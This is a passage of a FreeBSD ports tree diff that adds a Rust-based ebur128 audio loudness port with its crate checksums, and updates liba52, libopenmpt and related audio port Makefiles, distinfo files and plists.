ppv-lite86-0.2.17 \ + proc-macro2-1.0.56 \ + quickcheck-0.9.2 \ + quickcheck_macros-0.9.1 \ + quote-1.0.26 \ + rand-0.7.3 \ + rand_chacha-0.2.2 \ + rand_core-0.5.1 \ + rand_hc-0.2.0 \ + rayon-1.7.0 \ + rayon-core-1.11.0 \ + regex-1.8.1 \ + regex-syntax-0.7.1 \ + ryu-1.0.13 \ + same-file-1.0.6 \ + scopeguard-1.1.0 \ + serde-1.0.160 \ + serde_derive-1.0.160 \ + serde_json-1.0.96 \ + smallvec-1.10.0 \ + syn-1.0.109 \ + syn-2.0.15 \ + textwrap-0.16.0 \ + tinytemplate-1.2.1 \ + unicode-ident-1.0.8 \ + walkdir-2.3.3 \ + wasi-0.9.0+wasi-snapshot-preview1 \ + wasm-bindgen-0.2.84 \ + wasm-bindgen-backend-0.2.84 \ + wasm-bindgen-macro-0.2.84 \ + wasm-bindgen-macro-support-0.2.84 \ + wasm-bindgen-shared-0.2.84 \ + web-sys-0.3.61 \ + winapi-0.3.9 \ + winapi-i686-pc-windows-gnu-0.4.0 \ + winapi-util-0.1.5 \ + winapi-x86_64-pc-windows-gnu-0.4.0 diff --git a/audio/ebur128/distinfo b/audio/ebur128/distinfo new file mode 100644 index 00000000000..55e8b4b80b5 --- /dev/null +++ b/audio/ebur128/distinfo @@ -0,0 +1,175 @@ +TIMESTAMP = 1682669612 +SHA256 (rust/crates/aho-corasick-1.0.1.crate) = 67fc08ce920c31afb70f013dcce1bfc3a3195de6a228474e45e1f145b36f8d04 +SIZE (rust/crates/aho-corasick-1.0.1.crate) = 167320 +SHA256 (rust/crates/anes-0.1.6.crate) = 4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299 +SIZE (rust/crates/anes-0.1.6.crate) = 23857 +SHA256 (rust/crates/atty-0.2.14.crate) = d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8 +SIZE (rust/crates/atty-0.2.14.crate) = 5470 +SHA256 (rust/crates/autocfg-1.1.0.crate) = d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa +SIZE (rust/crates/autocfg-1.1.0.crate) = 13272 +SHA256 (rust/crates/bitflags-1.3.2.crate) = bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a +SIZE (rust/crates/bitflags-1.3.2.crate) = 23021 +SHA256 (rust/crates/bumpalo-3.12.1.crate) = 9b1ce199063694f33ffb7dd4e0ee620741495c32833cde5aa08f02a0bf96f0c8 +SIZE (rust/crates/bumpalo-3.12.1.crate) = 81653 +SHA256 (rust/crates/cast-0.3.0.crate) = 37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5 +SIZE (rust/crates/cast-0.3.0.crate) = 11452 +SHA256 (rust/crates/cc-1.0.79.crate) = 50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f +SIZE (rust/crates/cc-1.0.79.crate) = 62624 +SHA256 (rust/crates/cfg-if-1.0.0.crate) = baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd +SIZE (rust/crates/cfg-if-1.0.0.crate) = 7934 +SHA256 (rust/crates/ciborium-0.2.0.crate) = b0c137568cc60b904a7724001b35ce2630fd00d5d84805fbb608ab89509d788f +SIZE (rust/crates/ciborium-0.2.0.crate) = 30130 +SHA256 (rust/crates/ciborium-io-0.2.0.crate) = 346de753af073cc87b52b2083a506b38ac176a44cfb05497b622e27be899b369 +SIZE (rust/crates/ciborium-io-0.2.0.crate) = 2738 +SHA256 (rust/crates/ciborium-ll-0.2.0.crate) = 213030a2b5a4e0c0892b6652260cf6ccac84827b83a85a534e178e3906c4cf1b +SIZE (rust/crates/ciborium-ll-0.2.0.crate) = 10740 +SHA256 (rust/crates/clap-3.2.25.crate) = 4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123 +SIZE (rust/crates/clap-3.2.25.crate) = 219403 +SHA256 (rust/crates/clap_lex-0.2.4.crate) = 2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5 +SIZE (rust/crates/clap_lex-0.2.4.crate) = 9652 +SHA256 (rust/crates/criterion-0.4.0.crate) = e7c76e09c1aae2bc52b3d2f29e13c6572553b30c4aa1b8a49fd70de6412654cb +SIZE (rust/crates/criterion-0.4.0.crate) = 108978 +SHA256 (rust/crates/criterion-plot-0.5.0.crate) = 6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1 +SIZE (rust/crates/criterion-plot-0.5.0.crate) = 22706 +SHA256 (rust/crates/crossbeam-channel-0.5.8.crate) = a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200 +SIZE (rust/crates/crossbeam-channel-0.5.8.crate) = 90455 +SHA256 (rust/crates/crossbeam-deque-0.8.3.crate) = ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef +SIZE (rust/crates/crossbeam-deque-0.8.3.crate) = 21746 +SHA256 (rust/crates/crossbeam-epoch-0.9.14.crate) = 46bd5f3f85273295a9d14aedfb86f6aadbff6d8f5295c4a9edb08e819dcf5695 +SIZE (rust/crates/crossbeam-epoch-0.9.14.crate) = 48524 +SHA256 (rust/crates/crossbeam-utils-0.8.15.crate) = 3c063cd8cc95f5c377ed0d4b49a4b21f632396ff690e8470c29b3359b346984b +SIZE (rust/crates/crossbeam-utils-0.8.15.crate) = 42326 +SHA256 (rust/crates/dasp_frame-0.11.0.crate) = b2a3937f5fe2135702897535c8d4a5553f8b116f76c1529088797f2eee7c5cd6 +SIZE (rust/crates/dasp_frame-0.11.0.crate) = 4910 +SHA256 (rust/crates/dasp_sample-0.11.0.crate) = 0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f +SIZE (rust/crates/dasp_sample-0.11.0.crate) = 11617 +SHA256 (rust/crates/ebur128-0.1.1.crate) = 22e077e29310bf97aabb3cddffdbe408e1a1e32e65d27c97f5a463d57f91a36c +SIZE (rust/crates/ebur128-0.1.1.crate) = 22965 +SHA256 (rust/crates/either-1.8.1.crate) = 7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91 +SIZE (rust/crates/either-1.8.1.crate) = 16027 +SHA256 (rust/crates/env_logger-0.7.1.crate) = 44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36 +SIZE (rust/crates/env_logger-0.7.1.crate) = 32281 +SHA256 (rust/crates/float_eq-1.0.1.crate) = 28a80e3145d8ad11ba0995949bbcf48b9df2be62772b3d351ef017dff6ecb853 +SIZE (rust/crates/float_eq-1.0.1.crate) = 23293 +SHA256 (rust/crates/getrandom-0.1.16.crate) = 8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce +SIZE (rust/crates/getrandom-0.1.16.crate) = 25077 +SHA256 (rust/crates/half-1.8.2.crate) = eabb4a44450da02c90444cf74558da904edde8fb4e9035a9a6a4e15445af0bd7 +SIZE (rust/crates/half-1.8.2.crate) = 41874 +SHA256 (rust/crates/hashbrown-0.12.3.crate) = 8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888 +SIZE (rust/crates/hashbrown-0.12.3.crate) = 102968 +SHA256 (rust/crates/hermit-abi-0.1.19.crate) = 62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33 +SIZE (rust/crates/hermit-abi-0.1.19.crate) = 9979 +SHA256 (rust/crates/hermit-abi-0.2.6.crate) = ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7 +SIZE (rust/crates/hermit-abi-0.2.6.crate) = 13027 +SHA256 (rust/crates/hound-3.5.0.crate) = 4d13cdbd5dbb29f9c88095bbdc2590c9cba0d0a1269b983fef6b2cdd7e9f4db1 +SIZE (rust/crates/hound-3.5.0.crate) = 37994 +SHA256 (rust/crates/indexmap-1.9.3.crate) = bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99 +SIZE (rust/crates/indexmap-1.9.3.crate) = 54653 +SHA256 (rust/crates/itertools-0.10.5.crate) = b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473 +SIZE (rust/crates/itertools-0.10.5.crate) = 115354 +SHA256 (rust/crates/itoa-1.0.6.crate) = 453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6 +SIZE (rust/crates/itoa-1.0.6.crate) = 10410 +SHA256 (rust/crates/js-sys-0.3.61.crate) = 445dde2150c55e483f3d8416706b97ec8e8237c307e5b7b4b8dd15e6af2a0730 +SIZE (rust/crates/js-sys-0.3.61.crate) = 80158 +SHA256 (rust/crates/lazy_static-1.4.0.crate) = e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646 +SIZE (rust/crates/lazy_static-1.4.0.crate) = 10443 +SHA256 (rust/crates/libc-0.2.142.crate) = 6a987beff54b60ffa6d51982e1aa1146bc42f19bd26be28b0586f252fccf5317 +SIZE (rust/crates/libc-0.2.142.crate) = 679343 +SHA256 (rust/crates/log-0.4.17.crate) = abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e +SIZE (rust/crates/log-0.4.17.crate) = 38028 +SHA256 (rust/crates/memchr-2.5.0.crate) = 2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d +SIZE (rust/crates/memchr-2.5.0.crate) = 65812 +SHA256 (rust/crates/memoffset-0.8.0.crate) = d61c719bcfbcf5d62b3a09efa6088de8c54bc0bfcd3ea7ae39fcc186108b8de1 +SIZE (rust/crates/memoffset-0.8.0.crate) = 8912 +SHA256 (rust/crates/num-traits-0.2.15.crate) = 578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd +SIZE (rust/crates/num-traits-0.2.15.crate) = 49262 +SHA256 (rust/crates/num_cpus-1.15.0.crate) = 0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b +SIZE (rust/crates/num_cpus-1.15.0.crate) = 15680 +SHA256 (rust/crates/once_cell-1.17.1.crate) = b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3 +SIZE (rust/crates/once_cell-1.17.1.crate) = 32856 +SHA256 (rust/crates/oorandom-11.1.3.crate) = 0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575 +SIZE (rust/crates/oorandom-11.1.3.crate) = 10068 +SHA256 (rust/crates/os_str_bytes-6.5.0.crate) = ceedf44fb00f2d1984b0bc98102627ce622e083e49a5bacdb3e514fa4238e267 +SIZE (rust/crates/os_str_bytes-6.5.0.crate) = 23166 +SHA256 (rust/crates/plotters-0.3.4.crate) = 2538b639e642295546c50fcd545198c9d64ee2a38620a628724a3b266d5fbf97 +SIZE (rust/crates/plotters-0.3.4.crate) = 143219 +SHA256 (rust/crates/plotters-backend-0.3.4.crate) = 193228616381fecdc1224c62e96946dfbc73ff4384fba576e052ff8c1bea8142 +SIZE (rust/crates/plotters-backend-0.3.4.crate) = 13416 +SHA256 (rust/crates/plotters-svg-0.3.3.crate) = f9a81d2759aae1dae668f783c308bc5c8ebd191ff4184aaa1b37f65a6ae5a56f +SIZE (rust/crates/plotters-svg-0.3.3.crate) = 6916 +SHA256 (rust/crates/ppv-lite86-0.2.17.crate) = 5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de +SIZE (rust/crates/ppv-lite86-0.2.17.crate) = 22242 +SHA256 (rust/crates/proc-macro2-1.0.56.crate) = 2b63bdb0cd06f1f4dedf69b254734f9b45af66e4a031e42a7480257d9898b435 +SIZE (rust/crates/proc-macro2-1.0.56.crate) = 44454 +SHA256 (rust/crates/quickcheck-0.9.2.crate) = a44883e74aa97ad63db83c4bf8ca490f02b2fc02f92575e720c8551e843c945f +SIZE (rust/crates/quickcheck-0.9.2.crate) = 27401 +SHA256 (rust/crates/quickcheck_macros-0.9.1.crate) = 608c156fd8e97febc07dc9c2e2c80bf74cfc6ef26893eae3daf8bc2bc94a4b7f +SIZE (rust/crates/quickcheck_macros-0.9.1.crate) = 4193 +SHA256 (rust/crates/quote-1.0.26.crate) = 4424af4bf778aae2051a77b60283332f386554255d722233d09fbfc7e30da2fc +SIZE (rust/crates/quote-1.0.26.crate) = 28397 +SHA256 (rust/crates/rand-0.7.3.crate) = 6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03 +SIZE (rust/crates/rand-0.7.3.crate) = 112246 +SHA256 (rust/crates/rand_chacha-0.2.2.crate) = f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402 +SIZE (rust/crates/rand_chacha-0.2.2.crate) = 13267 +SHA256 (rust/crates/rand_core-0.5.1.crate) = 90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19 +SIZE (rust/crates/rand_core-0.5.1.crate) = 21116 +SHA256 (rust/crates/rand_hc-0.2.0.crate) = ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c +SIZE (rust/crates/rand_hc-0.2.0.crate) = 11670 +SHA256 (rust/crates/rayon-1.7.0.crate) = 1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b +SIZE (rust/crates/rayon-1.7.0.crate) = 169488 +SHA256 (rust/crates/rayon-core-1.11.0.crate) = 4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d +SIZE (rust/crates/rayon-core-1.11.0.crate) = 73118 +SHA256 (rust/crates/regex-1.8.1.crate) = af83e617f331cc6ae2da5443c602dfa5af81e517212d9d611a5b3ba1777b5370 +SIZE (rust/crates/regex-1.8.1.crate) = 248412 +SHA256 (rust/crates/regex-syntax-0.7.1.crate) = a5996294f19bd3aae0453a862ad728f60e6600695733dd5df01da90c54363a3c +SIZE (rust/crates/regex-syntax-0.7.1.crate) = 339705 +SHA256 (rust/crates/ryu-1.0.13.crate) = f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041 +SIZE (rust/crates/ryu-1.0.13.crate) = 46823 +SHA256 (rust/crates/same-file-1.0.6.crate) = 93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502 +SIZE (rust/crates/same-file-1.0.6.crate) = 10183 +SHA256 (rust/crates/scopeguard-1.1.0.crate) = d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd +SIZE (rust/crates/scopeguard-1.1.0.crate) = 11470 +SHA256 (rust/crates/serde-1.0.160.crate) = bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c +SIZE (rust/crates/serde-1.0.160.crate) = 77010 +SHA256 (rust/crates/serde_derive-1.0.160.crate) = 291a097c63d8497e00160b166a967a4a79c64f3facdd01cbd7502231688d77df +SIZE (rust/crates/serde_derive-1.0.160.crate) = 55081 +SHA256 (rust/crates/serde_json-1.0.96.crate) = 057d394a50403bcac12672b2b18fb387ab6d289d957dab67dd201875391e52f1 +SIZE (rust/crates/serde_json-1.0.96.crate) = 144652 +SHA256 (rust/crates/smallvec-1.10.0.crate) = a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0 +SIZE (rust/crates/smallvec-1.10.0.crate) = 31564 +SHA256 (rust/crates/syn-1.0.109.crate) = 72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237 +SIZE (rust/crates/syn-1.0.109.crate) = 237611 +SHA256 (rust/crates/syn-2.0.15.crate) = a34fcf3e8b60f57e6a14301a2e916d323af98b0ea63c599441eec8558660c822 +SIZE (rust/crates/syn-2.0.15.crate) = 240785 +SHA256 (rust/crates/textwrap-0.16.0.crate) = 222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d +SIZE (rust/crates/textwrap-0.16.0.crate) = 53722 +SHA256 (rust/crates/tinytemplate-1.2.1.crate) = be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc +SIZE (rust/crates/tinytemplate-1.2.1.crate) = 26490 +SHA256 (rust/crates/unicode-ident-1.0.8.crate) = e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4 +SIZE (rust/crates/unicode-ident-1.0.8.crate) = 41962 +SHA256 (rust/crates/walkdir-2.3.3.crate) = 36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698 +SIZE (rust/crates/walkdir-2.3.3.crate) = 23125 +SHA256 (rust/crates/wasi-0.9.0+wasi-snapshot-preview1.crate) = cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519 +SIZE (rust/crates/wasi-0.9.0+wasi-snapshot-preview1.crate) = 31521 +SHA256 (rust/crates/wasm-bindgen-0.2.84.crate) = 31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b +SIZE (rust/crates/wasm-bindgen-0.2.84.crate) = 172947 +SHA256 (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9 +SIZE (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 26344 +SHA256 (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5 +SIZE (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 12857 +SHA256 (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6 +SIZE (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 19076 +SHA256 (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d +SIZE (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 7219 +SHA256 (rust/crates/web-sys-0.3.61.crate) = e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97 +SIZE (rust/crates/web-sys-0.3.61.crate) = 706333 +SHA256 (rust/crates/winapi-0.3.9.crate) = 5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419 +SIZE (rust/crates/winapi-0.3.9.crate) = 1200382 +SHA256 (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6 +SIZE (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = 2918815 +SHA256 (rust/crates/winapi-util-0.1.5.crate) = 70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178 +SIZE (rust/crates/winapi-util-0.1.5.crate) = 10164 +SHA256 (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f +SIZE (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 2947998 +SHA256 (sdroege-ebur128-0.1.8_GH0.tar.gz) = 1f486d9644d918c0a9336f2e8946eec19e499f37ab0a541982f0ebeec4280c65 +SIZE (sdroege-ebur128-0.1.8_GH0.tar.gz) = 83872 diff --git a/audio/ebur128/pkg-descr b/audio/ebur128/pkg-descr new file mode 100644 index 00000000000..141ad37cf9c --- /dev/null +++ b/audio/ebur128/pkg-descr @@ -0,0 +1,2 @@ +Rust port of the libebur128 C library which implements the EBU R 128 standard +for loudness normalization produces the same results as the C library diff --git a/audio/ebur128/pkg-plist b/audio/ebur128/pkg-plist new file mode 100644 index 00000000000..ab9917ceeb2 --- /dev/null +++ b/audio/ebur128/pkg-plist @@ -0,0 +1,6 @@ +include/ebur128.h +lib/libebur128.a +lib/libebur128.so +lib/libebur128.so.1 +lib/libebur128.so.1.2.6 +libdata/pkgconfig/libebur128.pc diff --git a/audio/gstreamer1-plugins-a52dec/Makefile b/audio/gstreamer1-plugins-a52dec/Makefile index 7b743eb76a3..16795e35d58 100644 --- a/audio/gstreamer1-plugins-a52dec/Makefile +++ b/audio/gstreamer1-plugins-a52dec/Makefile @@ -1,4 +1,4 @@ -PORTREVISION= 0 +PORTREVISION= 1 CATEGORIES= audio COMMENT= GStreamer ATSC A/52 stream aka AC-3 (dvd audio) plugin diff --git a/audio/kwave/Makefile b/audio/kwave/Makefile index eb270f36c0d..983a8716b55 100644 --- a/audio/kwave/Makefile +++ b/audio/kwave/Makefile @@ -1,6 +1,6 @@ PORTNAME= kwave DISTVERSION= ${KDE_APPLICATIONS_VERSION} -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= audio kde kde-applications MAINTAINER= kde@FreeBSD.org diff --git a/audio/liba52/Makefile b/audio/liba52/Makefile index cbba52b735d..915f01f8fce 100644 --- a/audio/liba52/Makefile +++ b/audio/liba52/Makefile @@ -1,46 +1,30 @@ PORTNAME= liba52 -PORTVERSION= 0.7.4 -PORTREVISION= 3 +DISTVERSION= 0.8.0 CATEGORIES= audio -MASTER_SITES= http://liba52.sourceforge.net/files/ -DISTNAME= a52dec-${PORTVERSION:S/.b/b/} +MASTER_SITES= https://distfiles.adelielinux.org/source/a52dec/ +DISTNAME= a52dec-${DISTVERSION} MAINTAINER= multimedia@FreeBSD.org COMMENT= Free library for decoding ATSC A/52 streams, aka AC-3 -WWW= http://liba52.sourceforge.net/ +WWW= https://git.adelielinux.org/community/a52dec/ LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/COPYING -USES= gmake libtool -GNU_CONFIGURE= yes -CONFIGURE_ARGS= --disable-oss --enable-shared +USES= autoreconf libtool pathfix USE_LDCONFIG= yes -OPTIONS_DEFINE= DJBFFT OPTIMIZED_CFLAGS DOCS -DJBFFT_DESC= djb fft support +GNU_CONFIGURE= yes +INSTALL_TARGET= install-strip +TEST_TARGET= check -DJBFFT_BUILD_DEPENDS= ${LOCALBASE}/lib/libdjbfft.a:math/djbfft -DJBFFT_RUN_DEPENDS= ${LOCALBASE}/lib/libdjbfft.a:math/djbfft -DJBFFT_CFLAGS= -I${LOCALBASE}/include -DJBFFT_LDFLAGS= -L${LOCALBASE}/lib -DJBFFT_CONFIGURE_ON= --enable-djbfft +CONFIGURE_ARGS= --disable-oss --enable-shared -HEADER_FILES= liba52/a52_internal.h - -post-patch: - @${REINPLACE_CMD} '/-prefer-non-pic/d' ${WRKSRC}/configure - -post-patch-OPTIMIZED_CFLAGS-off: - @${REINPLACE_CMD} -E -e 's!-O3!${CFLAGS}!' -e 's!-mcpu=[^"]+"!"!' \ - ${CONFIGURE_WRKSRC}/${CONFIGURE_SCRIPT} -post-patch-DJBFFT-on: - @${REINPLACE_CMD} -E -e 's|(fftc4.h)|djbfft/\1|' ${WRKSRC}/liba52/imdct.c +OPTIONS_DEFINE= DOCS post-install: ${MKDIR} ${STAGEDIR}${DOCSDIR} ${INSTALL_DATA} ${WRKSRC}/doc/liba52.txt ${STAGEDIR}${DOCSDIR} ${INSTALL_DATA} ${WRKSRC}/liba52/a52_internal.h ${STAGEDIR}${PREFIX}/include/a52dec - @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/liba52.so.0.* .include diff --git a/audio/liba52/distinfo b/audio/liba52/distinfo index 289e354f144..f8f51412544 100644 --- a/audio/liba52/distinfo +++ b/audio/liba52/distinfo @@ -1,2 +1,3 @@ -SHA256 (a52dec-0.7.4.tar.gz) = a21d724ab3b3933330194353687df82c475b5dfb997513eef4c25de6c865ec33 -SIZE (a52dec-0.7.4.tar.gz) = 241507 +TIMESTAMP = 1682932929 +SHA256 (a52dec-0.8.0.tar.gz) = 03c181ce9c3fe0d2f5130de18dab9bd8bc63c354071515aa56983c74a9cffcc9 +SIZE (a52dec-0.8.0.tar.gz) = 456192 diff --git a/audio/liba52/files/patch-configure.ac b/audio/liba52/files/patch-configure.ac new file mode 100644 index 00000000000..245630ecf5e --- /dev/null +++ b/audio/liba52/files/patch-configure.ac @@ -0,0 +1,58 @@ +--- configure.ac.orig 2022-11-05 09:23:41 UTC ++++ configure.ac +@@ -29,12 +29,12 @@ if test x"$GCC" = x"yes"; then + TRY_CFLAGS="$OPT_CFLAGS -Wall" + AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]) + +- dnl -O3 +- changequote(<<,>>) +- TRY_CFLAGS=`echo "$OPT_CFLAGS $CFLAGS"|sed "s/-O[0-9]*//g"` +- changequote([,]) +- TRY_CFLAGS="$TRY_CFLAGS -O3" +- AC_TRY_CFLAGS([$TRY_CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"; CFLAGS=""]) ++# dnl -O3 ++# changequote(<<,>>) ++# TRY_CFLAGS=`echo "$OPT_CFLAGS $CFLAGS"|sed "s/-O[0-9]*//g"` ++# changequote([,]) ++# TRY_CFLAGS="$TRY_CFLAGS -O3" ++# AC_TRY_CFLAGS([$TRY_CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"; CFLAGS=""]) + + AC_ARG_ENABLE([debug], + [ --enable-debug debug mode configuration]) +@@ -50,21 +50,21 @@ if test x"$GCC" = x"yes"; then + TRY_CFLAGS="$OPT_CFLAGS -fno-common" + AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]) + +- dnl arch-specific flags +- case "$host" in +- i?86-* | k?-*) +- case "$host" in +- i386-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=i386";; +- i486-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=i486";; +- i586-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=pentium";; +- i686-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=pentiumpro";; +- k6-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=k6";; +- esac +- AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]);; +- sparc-* | sparc64-*) +- TRY_CFLAGS="$OPT_CFLAGS -mtune=ultrasparc" +- AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]);; +- esac ++# dnl arch-specific flags ++# case "$host" in ++# i?86-* | k?-*) ++# case "$host" in ++# i386-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=i386";; ++# i486-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=i486";; ++# i586-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=pentium";; ++# i686-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=pentiumpro";; ++# k6-*) TRY_CFLAGS="$OPT_CFLAGS -mcpu=k6";; ++# esac ++# AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]);; ++# sparc-* | sparc64-*) ++# TRY_CFLAGS="$OPT_CFLAGS -mtune=ultrasparc" ++# AC_TRY_CFLAGS([$TRY_CFLAGS $CFLAGS],[OPT_CFLAGS="$TRY_CFLAGS"]);; ++# esac + elif test x"$CC" = x"tendracc"; then + dnl TenDRA portability checking compiler + TENDRA=yes diff --git a/audio/liba52/pkg-plist b/audio/liba52/pkg-plist index 77ebd8fb252..5f5bfa178d5 100644 --- a/audio/liba52/pkg-plist +++ b/audio/liba52/pkg-plist @@ -9,6 +9,7 @@ lib/liba52.so.0.0.0 lib/liba52.so.0 lib/liba52.so lib/liba52.a +libdata/pkgconfig/liba52.pc man/man1/a52dec.1.gz man/man1/extract_a52.1.gz %%PORTDOCS%%%%DOCSDIR%%/liba52.txt diff --git a/audio/libebur128/Makefile b/audio/libebur128/Makefile index 8f214d00baf..32f0ff83600 100644 --- a/audio/libebur128/Makefile +++ b/audio/libebur128/Makefile @@ -15,4 +15,6 @@ USE_GITHUB= yes GH_ACCOUNT= jiixyj USE_LDCONFIG= yes +CONFLICTS_INSTALL= ebur128 + .include diff --git a/audio/libopenmpt/Makefile b/audio/libopenmpt/Makefile index 514a3075030..a520209946a 100644 --- a/audio/libopenmpt/Makefile +++ b/audio/libopenmpt/Makefile @@ -1,7 +1,6 @@ PORTNAME= libopenmpt -DISTVERSION= 0.6.10 +DISTVERSION= 0.7.0 DISTVERSIONSUFFIX= +release.autotools -PORTREVISION= 1 CATEGORIES= audio MASTER_SITES= https://lib.openmpt.org/files/libopenmpt/src/ \ LOCAL/ehaupt diff --git a/audio/libopenmpt/distinfo b/audio/libopenmpt/distinfo index cfb98e15019..c072bdeb23f 100644 --- a/audio/libopenmpt/distinfo +++ b/audio/libopenmpt/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681671423 -SHA256 (libopenmpt-0.6.10+release.autotools.tar.gz) = c25be8dc0dac23cec025487e58f195e4d14f7d94aeddd5fe46b21c04f1ce2774 -SIZE (libopenmpt-0.6.10+release.autotools.tar.gz) = 1559701 +TIMESTAMP = 1682940842 +SHA256 (libopenmpt-0.7.0+release.autotools.tar.gz) = 411796b55aef73cab09c7a6e65d33f1d7bf4ee7fc2dade6bc8de5138dedcc6d1 +SIZE (libopenmpt-0.7.0+release.autotools.tar.gz) = 1645663 diff --git a/audio/libopenmpt/pkg-plist b/audio/libopenmpt/pkg-plist index c12dc983e81..8ed2a7ea433 100644 --- a/audio/libopenmpt/pkg-plist +++ b/audio/libopenmpt/pkg-plist @@ -7,11 +7,15 @@ include/libopenmpt/libopenmpt_ext.hpp include/libopenmpt/libopenmpt_stream_callbacks_buffer.h 